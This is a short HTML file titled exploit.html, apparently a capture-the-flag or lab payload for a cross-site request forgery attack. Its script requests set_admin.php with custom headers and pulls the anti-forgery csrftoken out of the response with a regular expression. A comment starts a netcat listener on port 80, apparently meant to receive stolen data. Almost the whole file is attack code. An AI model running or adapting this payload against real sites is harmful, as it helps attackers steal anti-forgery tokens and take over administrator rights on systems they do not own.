exploit.html

<!-- CSRF through the mail function?-->
<!-- sudo nc -lk 80-->
<script>
var oReq = new window.XMLHttpRequest;
    oReq.open("GET", "set_admin.php", true);
    oReq.setRequestHeader("user", "bad");
    oReq.setRequestHeader("Set", "Set");
    function handler(data) {
      output = (oReq.responseText)
      console.log(output)
      re = /name="csrftoken" value=".*"/
      console.log(re.exec(output)[0].replace(/name="csrftoken" value="/, "").replace('"', ""))
    }

    oReq.onreadystatechange = handler
    oReq.send();
</script>